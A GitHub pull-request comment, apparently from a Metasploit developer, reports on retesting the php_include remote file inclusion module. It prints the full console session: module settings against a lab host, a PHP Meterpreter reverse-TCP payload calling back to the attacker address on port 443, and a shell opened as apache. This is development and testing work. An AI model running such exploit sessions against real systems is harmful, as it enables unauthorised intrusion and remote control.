Just tested it again, without this pull request (same setup as before).
Without having 'begin/rescue', I still get a shell. 

    msf exploit(php_include) > show options 
    
    Module options (exploit/unix/webapp/php_include):
    
       Name      Current Setting                                                 Required  Description
       ----      ---------------                                                 --------  -----------
       HEADERS                                                                   no        Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
       PATH      /h1ddenpath/123abc/                                             yes       The base directory to prepend to the URL to try
       PHPRFIDB  /root/metasploit-framework/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
       PHPURI    /file.php?blah_path=XXpathXX                                    no        The URI to request, with the include parameter changed to XXpathXX
       POSTDATA                                                                  no        The POST data to send, with the include parameter changed to XXpathXX
       Proxies                                                                   no        Use a proxy chain
       RHOST     192.168.13.2                                                    yes       The target address
       RPORT     80                                                              yes       The target port
       SRVHOST   192.168.13.3                                                    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
       SRVPORT   80                                                              yes       The local port to listen on.
       SSLCert                                                                   no        Path to a custom SSL certificate (default is randomly generated)
       URIPATH   /                                                               no        The URI to use for this exploit (default is random)
       VHOST                                                                     no        HTTP server virtual host
    
    
    Payload options (php/meterpreter/reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  192.168.13.3     yes       The listen address
       LPORT  443              yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf exploit(php_include) > exploit

    [*] Started reverse handler on 192.168.13.3:443 
    [*] Using URL: http://192.168.13.3:80/
    [*] PHP include server started.
    [*] Sending stage (39195 bytes) to 192.168.13.2
    [*] Meterpreter session 1 opened (192.168.13.3:443 -> 192.168.13.2:32831) at 2013-08-27 10:32:43 +0100
    [-] Exploit failed: undefined method `remove_resource' for nil:NilClass
    
    meterpreter > shell
    Process 4831 created.
    Channel 0 created.
    whoami
    apache



...and I hope your feeling better!